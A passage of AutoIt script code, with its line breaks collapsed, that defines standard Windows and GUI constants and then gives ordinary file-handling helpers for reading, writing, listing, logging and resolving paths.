$cbs_autohscroll, $__comboboxconstant_ws_vscroll) Global Const $es_left = 0 Global Const $es_center = 1 Global Const $es_right = 2 Global Const $es_multiline = 4 Global Const $es_uppercase = 8 Global Const $es_lowercase = 16 Global Const $es_password = 32 Global Const $es_autovscroll = 64 Global Const $es_autohscroll = 128 Global Const $es_nohidesel = 256 Global Const $es_oemconvert = 1024 Global Const $es_readonly = 2048 Global Const $es_wantreturn = 4096 Global Const $es_number = 8192 Global Const $ec_err = -1 Global Const $ecm_first = 5376 Global Const $em_canundo = 198 Global Const $em_charfrompos = 215 Global Const $em_emptyundobuffer = 205 Global Const $em_fmtlines = 200 Global Const $em_getcuebanner = ($ecm_first + 2) Global Const $em_getfirstvisibleline = 206 Global Const $em_gethandle = 189 Global Const $em_getimestatus = 217 Global Const $em_getlimittext = 213 Global Const $em_getline = 196 Global Const $em_getlinecount = 186 Global Const $em_getmargins = 212 Global Const $em_getmodify = 184 Global Const $em_getpasswordchar = 210 Global Const $em_getrect = 178 Global Const $em_getsel = 176 Global Const $em_getthumb = 190 Global Const $em_getwordbreakproc = 209 Global Const $em_hideballoontip = ($ecm_first + 4) Global Const $em_limittext = 197 Global Const $em_linefromchar = 201 Global Const $em_lineindex = 187 Global Const $em_linelength = 193 Global Const $em_linescroll = 182 Global Const $em_posfromchar = 214 Global Const $em_replacesel = 194 Global Const $em_scroll = 181 Global Const $em_scrollcaret = 183 Global Const $em_setcuebanner = ($ecm_first + 1) Global Const $em_sethandle = 188 Global Const $em_setimestatus = 216 Global Const $em_setlimittext = $em_limittext Global Const $em_setmargins = 211 Global Const $em_setmodify = 185 Global Const $em_setpasswordchar = 204 Global Const $em_setreadonly = 207 Global Const $em_setrect = 179 Global Const $em_setrectnp = 180 Global Const $em_setsel = 177 Global Const $em_settabstops = 203 Global Const $em_setwordbreakproc = 208 Global Const $em_showballoontip = ($ecm_first + 3) Global Const $em_undo = 199 Global Const $ec_leftmargin = 1 Global Const $ec_rightmargin = 2 Global Const $ec_usefontinfo = 65535 Global Const $emsis_compositionstring = 1 Global Const $eimes_getcompstratonce = 1 Global Const $eimes_cancelcompstrinfocus = 2 Global Const $eimes_completecompstrkillfocus = 4 Global Const $en_align_ltr_ec = 1792 Global Const $en_align_rtl_ec = 1793 Global Const $en_change = 768 Global Const $en_errspace = 1280 Global Const $en_hscroll = 1537 Global Const $en_killfocus = 512 Global Const $en_maxtext = 1281 Global Const $en_setfocus = 256 Global Const $en_update = 1024 Global Const $en_vscroll = 1538 Global Const $tti_none = 0 Global Const $tti_info = 1 Global Const $tti_warning = 2 Global Const $tti_error = 3 Global Const $tti_info_large = 4 Global Const $tti_warning_large = 5 Global Const $tti_error_large = 6 Global Const $__editconstant_ws_vscroll = 2097152 Global Const $__editconstant_ws_hscroll = 1048576 Global Const $gui_ss_default_edit = BitOR($es_wantreturn, $__editconstant_ws_vscroll, $__editconstant_ws_hscroll, $es_autovscroll, $es_autohscroll) Global Const $gui_ss_default_input = BitOR($es_left, $es_autohscroll) Global Const $fc_nooverwrite = 0 Global Const $fc_overwrite = 1 Global Const $ft_modified = 0 Global Const $ft_created = 1 Global Const $ft_accessed = 2 Global Const $fo_read = 0 Global Const $fo_append = 1 Global Const $fo_overwrite = 2 Global Const $fo_binary = 16 Global Const $fo_unicode = 32 Global Const $fo_utf16_le = 32 Global Const $fo_utf16_be = 64 Global Const $fo_utf8 = 128 Global Const $fo_utf8_nobom = 256 Global Const $eof = -1 Global Const $fd_filemustexist = 1 Global Const $fd_pathmustexist = 2 Global Const $fd_multiselect = 4 Global Const $fd_promptcreatenew = 8 Global Const $fd_promptoverwrite = 16 Global Const $create_new = 1 Global Const $create_always = 2 Global Const $open_existing = 3 Global Const $open_always = 4 Global Const $truncate_existing = 5 Global Const $invalid_set_file_pointer = -1 Global Const $file_begin = 0 Global Const $file_current = 1 Global Const $file_end = 2 Global Const $file_attribute_readonly = 1 Global Const $file_attribute_hidden = 2 Global Const $file_attribute_system = 4 Global Const $file_attribute_directory = 16 Global Const $file_attribute_archive = 32 Global Const $file_attribute_device = 64 Global Const $file_attribute_normal = 128 Global Const $file_attribute_temporary = 256 Global Const $file_attribute_sparse_file = 512 Global Const $file_attribute_reparse_point = 1024 Global Const $file_attribute_compressed = 2048 Global Const $file_attribute_offline = 4096 Global Const $file_attribute_not_content_indexed = 8192 Global Const $file_attribute_encrypted = 16384 Global Const $file_share_read = 1 Global Const $file_share_write = 2 Global Const $file_share_delete = 4 Global Const $generic_all = 268435456 Global Const $generic_execute = 536870912 Global Const $generic_write = 1073741824 Global Const $generic_read = -2147483648 Global Const $ddl_archive = 32 Global Const $ddl_directory = 16 Global Const $ddl_drives = 16384 Global Const $ddl_exclusive = 32768 Global Const $ddl_hidden = 2 Global Const $ddl_readonly = 1 Global Const $ddl_readwrite = 0 Global Const $ddl_system = 4 Global Const $color_aqua = 65535 Global Const $color_black = 0 Global Const $color_blue = 255 Global Const $color_cream = 16776176 Global Const $color_fuchsia = 16711935 Global Const $color_gray = 8421504 Global Const $color_green = 32768 Global Const $color_lime = 65280 Global Const $color_maroon = 9116770 Global Const $color_medblue = 708 Global Const $color_medgray = 10526884 Global Const $color_moneygreen = 12639424 Global Const $color_navy = 128 Global Const $color_olive = 8421376 Global Const $color_purple = 8388736 Global Const $color_red = 16711680 Global Const $color_silver = 12632256 Global Const $color_skyblue = 10930928 Global Const $color_teal = 32896 Global Const $color_white = 16777215 Global Const $color_yellow = 16776960 Global Const $clr_none = -1 Global Const $clr_default = -16777216 Global Const $clr_aqua = 16776960 Global Const $clr_black = 0 Global Const $clr_blue = 16711680 Global Const $clr_cream = 15793151 Global Const $clr_fuchsia = 16711935 Global Const $clr_gray = 8421504 Global Const $clr_green = 32768 Global Const $clr_lime = 65280 Global Const $clr_maroon = 6429835 Global Const $clr_medblue = 12845568 Global Const $clr_medgray = 10789024 Global Const $clr_moneygreen = 12639424 Global Const $clr_navy = 8388608 Global Const $clr_olive = 32896 Global Const $clr_purple = 8388736 Global Const $clr_red = 255 Global Const $clr_silver = 12632256 Global Const $clr_skyblue = 15780518 Global Const $clr_teal = 8421376 Global Const $clr_white = 16777215 Global Const $clr_yellow = 65535 Global Const $cc_anycolor = 256 Global Const $cc_fullopen = 2 Global Const $cc_rgbinit = 1 Global Const $opt_coordsrelative = 0 Global Const $opt_coordsabsolute = 1 Global Const $opt_coordsclient = 2 Global Const $opt_errorsilent = 0 Global Const $opt_errorfatal = 1 Global Const $opt_capsnostore = 0 Global Const $opt_capsstore = 1 Global Const $opt_matchstart = 1 Global Const $opt_matchany = 2 Global Const $opt_matchexact = 3 Global Const $opt_matchadvanced = 4 Global Const $ccs_top = 1 Global Const $ccs_nomovey = 2 Global Const $ccs_bottom = 3 Global Const $ccs_noresize = 4 Global Const $ccs_noparentalign = 8 Global Const $ccs_nohilite = 16 Global Const $ccs_adjustable = 32 Global Const $ccs_nodivider = 64 Global Const $ccs_vert = 128 Global Const $ccs_left = 129 Global Const $ccs_nomovex = 130 Global Const $ccs_right = 131 Global Const $di_mask = 1 Global Const $di_image = 2 Global Const $di_normal = 3 Global Const $di_compat = 4 Global Const $di_defaultsize = 8 Global Const $di_nomirror = 16 Global Const $display_device_attached_to_desktop = 1 Global Const $display_device_multi_driver = 2 Global Const $display_device_primary_device = 4 Global Const $display_device_mirroring_driver = 8 Global Const $display_device_vga_compatible = 16 Global Const $display_device_removable = 32 Global Const $display_device_disconnect = 33554432 Global Const $display_device_remote = 67108864 Global Const $display_device_modespruned = 134217728 Global Const $flashw_caption = 1 Global Const $flashw_tray = 2 Global Const $flashw_timer = 4 Global Const $flashw_timernofg = 12 Global Const $format_message_allocate_buffer = 256 Global Const $format_message_ignore_inserts = 512 Global Const $format_message_from_string = 1024 Global Const $format_message_from_hmodule = 2048 Global Const $format_message_from_system = 4096 Global Const $format_message_argument_array = 8192 Global Const $gw_hwndfirst = 0 Global Const $gw_hwndlast = 1 Global Const $gw_hwndnext = 2 Global Const $gw_hwndprev = 3 Global Const $gw_owner = 4 Global Const $gw_child = 5 Global Const $gwl_wndproc = -4 Global Const $gwl_hinstance = -6 Global Const $gwl_hwndparent = -8 Global Const $gwl_id = -12 Global Const $gwl_style = -16 Global Const $gwl_exstyle = -20 Global Const $gwl_userdata = -21 Global Const $std_cut = 0 Global Const $std_copy = 1 Global Const $std_paste = 2 Global Const $std_undo = 3 Global Const $std_redow = 4 Global Const $std_delete = 5 Global Const $std_filenew = 6 Global Const $std_fileopen = 7 Global Const $std_filesave = 8 Global Const $std_printpre = 9 Global Const $std_properties = 10 Global Const $std_help = 11 Global Const $std_find = 12 Global Const $std_replace = 13 Global Const $std_print = 14 Global Const $lr_defaultcolor = 0 Global Const $lr_monochrome = 1 Global Const $lr_color = 2 Global Const $lr_copyreturnorg = 4 Global Const $lr_copydeleteorg = 8 Global Const $lr_loadfromfile = 16 Global Const $lr_loadtransparent = 32 Global Const $lr_defaultsize = 64 Global Const $lr_vgacolor = 128 Global Const $lr_loadmap3dcolors = 4096 Global Const $lr_createdibsection = 8192 Global Const $lr_copyfromresource = 16384 Global Const $lr_shared = 32768 Global Const $image_bitmap = 0 Global Const $image_icon = 1 Global Const $image_cursor = 2 Global Const $kb_sendspecial = 0 Global Const $kb_sendraw = 1 Global Const $kb_capsoff = 0 Global Const $kb_capson = 1 Global Const $dont_resolve_dll_references = 1 Global Const $load_library_as_datafile = 2 Global Const $load_with_altered_search_path = 8 Global Const $objid_window = 0 Global Const $objid_titlebar = -2 Global Const $objid_sizegrip = -7 Global Const $objid_caret = -8 Global Const $objid_cursor = -9 Global Const $objid_alert = -10 Global Const $objid_sound = -11 Global Const $vk_down = 40 Global Const $vk_end = 35 Global Const $vk_home = 36 Global Const $vk_left = 37 Global Const $vk_next = 34 Global Const $vk_prior = 33 Global Const $vk_right = 39 Global Const $vk_up = 38 Global Const $vk_lbutton = 1 Global Const $vk_rbutton = 2 Global Const $vk_mbutton = 4 Global Const $mb_ok = 0 Global Const $mb_okcancel = 1 Global Const $mb_abortretryignore = 2 Global Const $mb_yesnocancel = 3 Global Const $mb_yesno = 4 Global Const $mb_retrycancel = 5 Global Const $mb_iconhand = 16 Global Const $mb_iconquestion = 32 Global Const $mb_iconexclamation = 48 Global Const $mb_iconasterisk = 64 Global Const $mb_defbutton1 = 0 Global Const $mb_defbutton2 = 256 Global Const $mb_defbutton3 = 512 Global Const $mb_applmodal = 0 Global Const $mb_systemmodal = 4096 Global Const $mb_taskmodal = 8192 Global Const $mb_topmost = 262144 Global Const $mb_rightjustified = 524288 Global Const $idtimeout = -1 Global Const $idok = 1 Global Const $idcancel = 2 Global Const $idabort = 3 Global Const $idretry = 4 Global Const $idignore = 5 Global Const $idyes = 6 Global Const $idno = 7 Global Const $idtryagain = 10 Global Const $idcontinue = 11 Global Const $dlg_notitle = 1 Global Const $dlg_notontop = 2 Global Const $dlg_textleft = 4 Global Const $dlg_textright = 8 Global Const $dlg_moveable = 16 Global Const $dlg_textvcenter = 32 Global Const $tip_iconnone = 0 Global Const $tip_iconasterisk = 1 Global Const $tip_iconexclamation = 2 Global Const $tip_iconhand = 3 Global Const $tip_nosound = 16 Global Const $idc_unknown = 0 Global Const $idc_appstarting = 1 Global Const $idc_arrow = 2 Global Const $idc_cross = 3 Global Const $idc_hand = 32649 Global Const $idc_help = 4 Global Const $idc_ibeam = 5 Global Const $idc_icon = 6 Global Const $idc_no = 7 Global Const $idc_size = 8 Global Const $idc_sizeall = 9 Global Const $idc_sizenesw = 10 Global Const $idc_sizens = 11 Global Const $idc_sizenwse = 12 Global Const $idc_sizewe = 13 Global Const $idc_uparrow = 14 Global Const $idc_wait = 15 Global Const $idi_application = 32512 Global Const $idi_asterisk = 32516 Global Const $idi_exclamation = 32515 Global Const $idi_hand = 32513 Global Const $idi_question = 32514 Global Const $idi_winlogo = 32517 Global Const $sd_logoff = 0 Global Const $sd_shutdown = 1 Global Const $sd_reboot = 2 Global Const $sd_force = 4 Global Const $sd_powerdown = 8 Global Const $str_nocasesense = 0 Global Const $str_casesense = 1 Global Const $str_stripleading = 1 Global Const $str_striptrailing = 2 Global Const $str_stripspaces = 4 Global Const $str_stripall = 8 Global Const $tray_item_exit = 3 Global Const $tray_item_pause = 4 Global Const $tray_item_first = 7 Global Const $tray_checked = 1 Global Const $tray_unchecked = 4 Global Const $tray_enable = 64 Global Const $tray_disable = 128 Global Const $tray_focus = 256 Global Const $tray_default = 512 Global Const $tray_event_showicon = -3 Global Const $tray_event_hideicon = -4 Global Const $tray_event_flashicon = -5 Global Const $tray_event_noflashicon = -6 Global Const $tray_event_primarydown = -7 Global Const $tray_event_primaryup = -8 Global Const $tray_event_secondarydown = -9 Global Const $tray_event_secondaryup = -10 Global Const $tray_event_mouseover = -11 Global Const $tray_event_mouseout = -12 Global Const $tray_event_primarydouble = -13 Global Const $tray_event_secondarydouble = -14 Global Const $stdin_child = 1 Global Const $stdout_child = 2 Global Const $stderr_child = 4 Global Const $stderr_merged = 8 Global Const $stdio_inherit_parent = 16 Global Const $run_create_new_console = 65536 Global Const $mouseeventf_absolute = 32768 Global Const $mouseeventf_move = 1 Global Const $mouseeventf_leftdown = 2 Global Const $mouseeventf_leftup = 4 Global Const $mouseeventf_rightdown = 8 Global Const $mouseeventf_rightup = 16 Global Const $mouseeventf_middledown = 32 Global Const $mouseeventf_middleup = 64 Global Const $mouseeventf_wheel = 2048 Global Const $mouseeventf_xdown = 128 Global Const $mouseeventf_xup = 256 Global Const $reg_none = 0 Global Const $reg_sz = 1 Global Const $reg_expand_sz = 2 Global Const $reg_binary = 3 Global Const $reg_dword = 4 Global Const $reg_dword_big_endian = 5 Global Const $reg_link = 6 Global Const $reg_multi_sz = 7 Global Const $reg_resource_list = 8 Global Const $reg_full_resource_descriptor = 9 Global Const $reg_resource_requirements_list = 10 Global Const $hwnd_bottom = 1 Global Const $hwnd_notopmost = -2 Global Const $hwnd_top = 0 Global Const $hwnd_topmost = -1 Global Const $swp_nosize = 1 Global Const $swp_nomove = 2 Global Const $swp_nozorder = 4 Global Const $swp_noredraw = 8 Global Const $swp_noactivate = 16 Global Const $swp_framechanged = 32 Global Const $swp_drawframe = 32 Global Const $swp_showwindow = 64 Global Const $swp_hidewindow = 128 Global Const $swp_nocopybits = 256 Global Const $swp_noownerzorder = 512 Global Const $swp_noreposition = 512 Global Const $swp_nosendchanging = 1024 Global Const $swp_defererase = 8192 Global Const $swp_asyncwindowpos = 16384 Global Const $lang_afrikaans = 54 Global Const $lang_albanian = 28 Global Const $lang_arabic = 1 Global Const $lang_armenian = 43 Global Const $lang_assamese = 77 Global Const $lang_azeri = 44 Global Const $lang_basque = 45 Global Const $lang_belarusian = 35 Global Const $lang_bengali = 69 Global Const $lang_bulgarian = 2 Global Const $lang_catalan = 3 Global Const $lang_chinese = 4 Global Const $lang_croatian = 26 Global Const $lang_czech = 5 Global Const $lang_danish = 6 Global Const $lang_dutch = 19 Global Const $lang_english = 9 Global Const $lang_estonian = 37 Global Const $lang_faeroese = 56 Global Const $lang_farsi = 41 Global Const $lang_finnish = 11 Global Const $lang_french = 156 Global Const $lang_georgian = 55 Global Const $lang_german = 7 Global Const $lang_greek = 8 Global Const $lang_gujarati = 71 Global Const $lang_hebrew = 13 Global Const $lang_hindi = 57 Global Const $lang_hungarian = 14 Global Const $lang_icelandic = 15 Global Const $lang_indonesian = 33 Global Const $lang_italian = 16 Global Const $lang_japanese = 17 Global Const $lang_kannada = 75 Global Const $lang_kashmiri = 96 Global Const $lang_kazak = 63 Global Const $lang_konkani = 87 Global Const $lang_korean = 18 Global Const $lang_latvian = 38 Global Const $lang_lithuanian = 39 Global Const $lang_macedonian = 47 Global Const $lang_malay = 62 Global Const $lang_malayalam = 76 Global Const $lang_manipuri = 88 Global Const $lang_marathi = 78 Global Const $lang_nepali = 97 Global Const $lang_neutral = 0 Global Const $lang_norwegian = 20 Global Const $lang_oriya = 72 Global Const $lang_polish = 21 Global Const $lang_portuguese = 22 Global Const $lang_punjabi = 70 Global Const $lang_romanian = 24 Global Const $lang_russian = 25 Global Const $lang_sanskrit = 79 Global Const $lang_serbian = 26 Global Const $lang_sindhi = 89 Global Const $lang_slovak = 27 Global Const $lang_slovenian = 36 Global Const $lang_spanish = 10 Global Const $lang_swahili = 65 Global Const $lang_swedish = 29 Global Const $lang_tamil = 73 Global Const $lang_tatar = 68 Global Const $lang_telugu = 74 Global Const $lang_thai = 30 Global Const $lang_turkish = 31 Global Const $lang_ukrainian = 34 Global Const $lang_urdu = 32 Global Const $lang_uzbek = 67 Global Const $lang_vietnamese = 42 Global Const $sublang_arabic_algeria = 5 Global Const $sublang_arabic_bahrain = 15 Global Const $sublang_arabic_egypt = 3 Global Const $sublang_arabic_iraq = 2 Global Const $sublang_arabic_jordan = 11 Global Const $sublang_arabic_kuwait = 13 Global Const $sublang_arabic_lebanon = 12 Global Const $sublang_arabic_libya = 4 Global Const $sublang_arabic_morocco = 6 Global Const $sublang_arabic_oman = 8 Global Const $sublang_arabic_qatar = 16 Global Const $sublang_arabic_saudi_arabia = 1 Global Const $sublang_arabic_syria = 10 Global Const $sublang_arabic_tunisia = 7 Global Const $sublang_arabic_uae = 14 Global Const $sublang_arabic_yemen = 9 Global Const $sublang_azeri_cyrillic = 2 Global Const $sublang_azeri_latin = 1 Global Const $sublang_chinese_hongkong = 3 Global Const $sublang_chinese_macau = 5 Global Const $sublang_chinese_simplified = 2 Global Const $sublang_chinese_singapore = 4 Global Const $sublang_chinese_traditional = 1 Global Const $sublang_default = 1 Global Const $sublang_dutch = 1 Global Const $sublang_dutch_belgian = 2 Global Const $sublang_english_aus = 3 Global Const $sublang_english_belize = 10 Global Const $sublang_english_can = 4 Global Const $sublang_english_caribbean = 9 Global Const $sublang_english_eire = 6 Global Const $sublang_english_jamaica = 8 Global Const $sublang_english_nz = 5 Global Const $sublang_english_philippines = 13 Global Const $sublang_english_south_africa = 7 Global Const $sublang_english_trinidad = 11 Global Const $sublang_english_uk = 2 Global Const $sublang_english_us = 1 Global Const $sublang_english_zimbabwe = 12 Global Const $sublang_french = 1 Global Const $sublang_french_belgian = 2 Global Const $sublang_french_canadian = 3 Global Const $sublang_french_luxembourg = 5 Global Const $sublang_french_monaco = 6 Global Const $sublang_french_swiss = 4 Global Const $sublang_german = 1 Global Const $sublang_german_austrian = 3 Global Const $sublang_german_liechtenstein = 5 Global Const $sublang_german_luxembourg = 4 Global Const $sublang_german_swiss = 2 Global Const $sublang_italian = 1 Global Const $sublang_italian_swiss = 2 Global Const $sublang_kashmiri_india = 2 Global Const $sublang_korean = 1 Global Const $sublang_lithuanian = 1 Global Const $sublang_malay_brunei_darussalam = 2 Global Const $sublang_malay_malaysia = 1 Global Const $sublang_nepali_india = 2 Global Const $sublang_neutral = 0 Global Const $sublang_norwegian_bokmal = 1 Global Const $sublang_norwegian_nynorsk = 2 Global Const $sublang_portuguese = 2 Global Const $sublang_portuguese_brazilian = 1 Global Const $sublang_serbian_cyrillic = 3 Global Const $sublang_serbian_latin = 2 Global Const $sublang_spanish = 1 Global Const $sublang_spanish_argentina = 11 Global Const $sublang_spanish_bolivia = 16 Global Const $sublang_spanish_chile = 13 Global Const $sublang_spanish_colombia = 9 Global Const $sublang_spanish_costa_rica = 5 Global Const $sublang_spanish_dominican_republic = 7 Global Const $sublang_spanish_ecuador = 12 Global Const $sublang_spanish_el_salvador = 17 Global Const $sublang_spanish_guatemala = 4 Global Const $sublang_spanish_honduras = 18 Global Const $sublang_spanish_mexican = 2 Global Const $sublang_spanish_modern = 3 Global Const $sublang_spanish_nicaragua = 19 Global Const $sublang_spanish_panama = 6 Global Const $sublang_spanish_paraguay = 15 Global Const $sublang_spanish_peru = 10 Global Const $sublang_spanish_puerto_rico = 20 Global Const $sublang_spanish_uruguay = 14 Global Const $sublang_spanish_venezuela = 8 Global Const $sublang_swedish = 1 Global Const $sublang_swedish_finland = 2 Global Const $sublang_sys_default = 2 Global Const $sublang_urdu_india = 2 Global Const $sublang_urdu_pakistan = 1 Global Const $sublang_uzbek_cyrillic = 2 Global Const $sort_default = 0 Global Const $sort_japanese_xjis = 0 Global Const $sort_japanese_unicode = 1 Global Const $sort_chinese_big5 = 0 Global Const $sort_chinese_prcp = 0 Global Const $sort_chinese_unicode = 1 Global Const $sort_chinese_prc = 2 Global Const $sort_korean_ksc = 0 Global Const $sort_korean_unicode = 1 Global Const $sort_german_phone_book = 1 Global Const $sort_hungarian_default = 0 Global Const $sort_hungarian_technical = 1 Global Const $sort_georgian_traditional = 0 Global Const $sort_georgian_modern = 1 Global Const $ss_left = 0 Global Const $ss_center = 1 Global Const $ss_right = 2 Global Const $ss_icon = 3 Global Const $ss_blackrect = 4 Global Const $ss_grayrect = 5 Global Const $ss_whiterect = 6 Global Const $ss_blackframe = 7 Global Const $ss_grayframe = 8 Global Const $ss_whiteframe = 9 Global Const $ss_simple = 11 Global Const $ss_leftnowordwrap = 12 Global Const $ss_bitmap = 14 Global Const $ss_etchedhorz = 16 Global Const $ss_etchedvert = 17 Global Const $ss_etchedframe = 18 Global Const $ss_noprefix = 128 Global Const $ss_notify = 256 Global Const $ss_centerimage = 512 Global Const $ss_rightjust = 1024 Global Const $ss_sunken = 4096 Global Const $gui_ss_default_label = 0 Global Const $gui_ss_default_graphic = 0 Global Const $gui_ss_default_icon = $ss_notify Global Const $gui_ss_default_pic = $ss_notify Func _filecountlines($sfilepath) Local $hfile = FileOpen($sfilepath, $fo_read) If $hfile = -1 Then Return SetError(1, 0, 0) Local $sfilecontent = StringStripWS(FileRead($hfile), 2) FileClose($hfile) Local $atmp If StringInStr($sfilecontent, @LF) Then $atmp = StringSplit(StringStripCR($sfilecontent), @LF) ElseIf StringInStr($sfilecontent, @CR) Then $atmp = StringSplit($sfilecontent, @CR) Else If StringLen($sfilecontent) Then Return 1 Else Return SetError(2, 0, 0) EndIf EndIf Return $atmp[0] EndFunc Func _filecreate($sfilepath) Local $hopenfile = FileOpen($sfilepath, $fo_overwrite) If $hopenfile = -1 Then Return SetError(1, 0, 0) Local $hwritefile = FileWrite($hopenfile, "") FileClose($hopenfile) If $hwritefile = -1 Then Return SetError(2, 0, 0) Return 1 EndFunc Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0) Local $hsearch, $sfile, $sfilelist, $sdelim = "|" $spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\" If NOT FileExists($spath) Then Return SetError(1, 1, "") If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "") If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "") $hsearch = FileFindFirstFile($spath & $sfilter) If @error Then Return SetError(4, 4, "") While 1 $sfile = FileFindNextFile($hsearch) If @error Then ExitLoop If ($iflag + @extended = 2) Then ContinueLoop $sfilelist &= $sdelim & $sfile WEnd FileClose($hsearch) If NOT $sfilelist Then Return SetError(4, 4, "") Return StringSplit(StringTrimLeft($sfilelist, 1), "|") EndFunc Func _fileprint($s_file, $i_show = @SW_HIDE) Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0, "wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show) If @error Then Return SetError(@error, @extended, 0) If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0) Return 1 EndFunc Func _filereadtoarray($sfilepath, ByRef $aarray) Local $hfile = FileOpen($sfilepath, $fo_read) If $hfile = -1 Then Return SetError(1, 0, 0) Local $afile = FileRead($hfile, FileGetSize($sfilepath)) If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1) If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1) FileClose($hfile) If StringInStr($afile, @LF) Then $aarray = StringSplit(StringStripCR($afile), @LF) ElseIf StringInStr($afile, @CR) Then $aarray = StringSplit($afile, @CR) Else If StringLen($afile) Then Dim $aarray[2] = [1, $afile] Else Return SetError(2, 0, 0) EndIf EndIf Return 1 EndFunc Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0, $s_delim = "|") If NOT IsArray($a_array) Then Return SetError(2, 0, 0) Local $idims = UBound($a_array, 0) If $idims > 2 Then Return SetError(4, 0, 0) Local $last = UBound($a_array) - 1 If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last If $i_base < 0 OR $i_base > $last Then $i_base = 0 Local $hfile If IsString($file) Then $hfile = FileOpen($file, $fo_overwrite) Else $hfile = $file EndIf If $hfile = -1 Then Return SetError(1, 0, 0) Local $errorsav = 0 Switch $idims Case 1 For $x = $i_base To $i_ubound If FileWrite($hfile, $a_array[$x] & @CRLF) = 0 Then $errorsav = 3 ExitLoop EndIf Next Case 2 Local $s_temp For $x = $i_base To $i_ubound $s_temp = $a_array[$x][0] For $y = 1 To $idims $s_temp &= $s_delim & $a_array[$x][$y] Next If FileWrite($hfile, $s_temp & @CRLF) = 0 Then $errorsav = 3 ExitLoop EndIf Next EndSwitch If IsString($file) Then FileClose($hfile) If $errorsav Then Return SetError($errorsav, 0, 0) Return 1 EndFunc Func _filewritelog($slogpath, $slogmsg, $iflag = -1) Local $hopenfile = $slogpath, $iopenmode = $fo_append Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg If $iflag <> -1 Then $smsg &= @CRLF & FileRead($slogpath) $iopenmode = $fo_overwrite EndIf If IsString($slogpath) Then $hopenfile = FileOpen($slogpath, $iopenmode) If $hopenfile = -1 Then Return SetError(1, 0, 0) EndIf EndIf Local $ireturn = FileWriteLine($hopenfile, $smsg) If IsString($slogpath) Then $ireturn = FileClose($hopenfile) EndIf If $ireturn <= 0 Then Return SetError(2, $ireturn, 0) EndIf Return $ireturn EndFunc Func _filewritetoline($sfile, $iline, $stext, $foverwrite = 0) If $iline <= 0 Then Return SetError(4, 0, 0) If NOT IsString($stext) Then $stext = String($stext) If $stext = "" Then Return SetError(6, 0, 0) EndIf If $foverwrite <> 0 AND $foverwrite <> 1 Then Return SetError(5, 0, 0) If NOT FileExists($sfile) Then Return SetError(2, 0, 0) Local $sread_file = FileRead($sfile) Local $asplit_file = StringSplit(StringStripCR($sread_file), @LF) If UBound($asplit_file) < $iline Then Return SetError(1, 0, 0) Local $iencoding = FileGetEncoding($sfile) Local $hfile = FileOpen($sfile, $iencoding + $fo_overwrite) If $hfile = -1 Then Return SetError(3, 0, 0) $sread_file = "" For $i = 1 To $asplit_file[0] If $i = $iline Then If $foverwrite = 1 Then If $stext <> "" Then $sread_file &= $stext & @CRLF Else $sread_file &= $stext & @CRLF & $asplit_file[$i] & @CRLF EndIf ElseIf $i < $asplit_file[0] Then $sread_file &= $asplit_file[$i] & @CRLF ElseIf $i = $asplit_file[0] Then $sread_file &= $asplit_file[$i] EndIf Next FileWrite($hfile, $sread_file) FileClose($hfile) Return 1 EndFunc Func _pathfull($srelativepath, $sbasepath = @WorkingDir) If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath Local $sfullpath = StringReplace($srelativepath, "/", "\") Local Const $sfullpathconst = $sfullpath Local $spath Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\" For $i = 1 To 2 $spath = StringLeft($sfullpath, 2) If $spath = "\\" Then $sfullpath = StringTrimLeft($sfullpath, 2) Local $nserverlen = StringInStr($sfullpath, "\") - 1 $spath = "\\" & StringLeft($sfullpath, $nserverlen) $sfullpath = StringTrimLeft($sfullpath, $nserverlen) ExitLoop ElseIf StringRight($spath, 1) = ":" Then $sfullpath = StringTrimLeft($sfullpath, 2) ExitLoop Else $sfullpath = $sbasepath & "\" & $sfullpath EndIf Next If $i = 3 Then Return "" If StringLeft($sfullpath, 1) <> "\" Then If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then $sfullpath = $sbasepath & "\" & $sfullpath Else $sfullpath = "\" & $sfullpath EndIf EndIf Local $atemp = StringSplit($sfullpath, "\") Local $apathparts[$atemp[0]], $j = 0 For $i = 2 To $atemp[0] If $atemp[$i] = ".." Then If $j Then $j -= 1 ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then $apathparts[$j] = $atemp[$i] $j += 1 EndIf Next $sfullpath = $spath If NOT $brootonly Then For $i = 0 To $j - 1 $sfullpath &= "\" & $apathparts[$i] Next Else $sfullpath &= $sfullpathconst If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath) EndIf While StringInStr($sfullpath, ".\") $sfullpath = StringReplace($sfullpath, ".\", "\") WEnd Return $sfullpath EndFunc Func _pathgetrelative($sfrom, $sto) If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\" If StringRight($sto, 1) <> "\" Then $sto &= "\" If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1)) Local $asfrom = StringSplit($sfrom, "\") Local $asto = StringSplit($sto, "\") If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1)) Local $i = 2 Local $idiff = 1 While 1 If $asfrom[$i] <> $asto[$i] Then $idiff = $i ExitLoop EndIf $i += 1 WEnd $i = 1 Local $srelpath = "" For $j = 1 To $asto[0] If $i >= $idiff Then $srelpath &= "\" & $asto[$i] EndIf $i += 1 Next $srelpath = StringTrimLeft($srelpath, 1) $i = 1 For $j = 1 To $asfrom[0] If $i > $idiff Then $srelpath = "..\" & $srelpath EndIf $i += 1 Next If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1) Return $srelpath EndFunc Func _pathmake($szdrive, $szdir, $szfname, 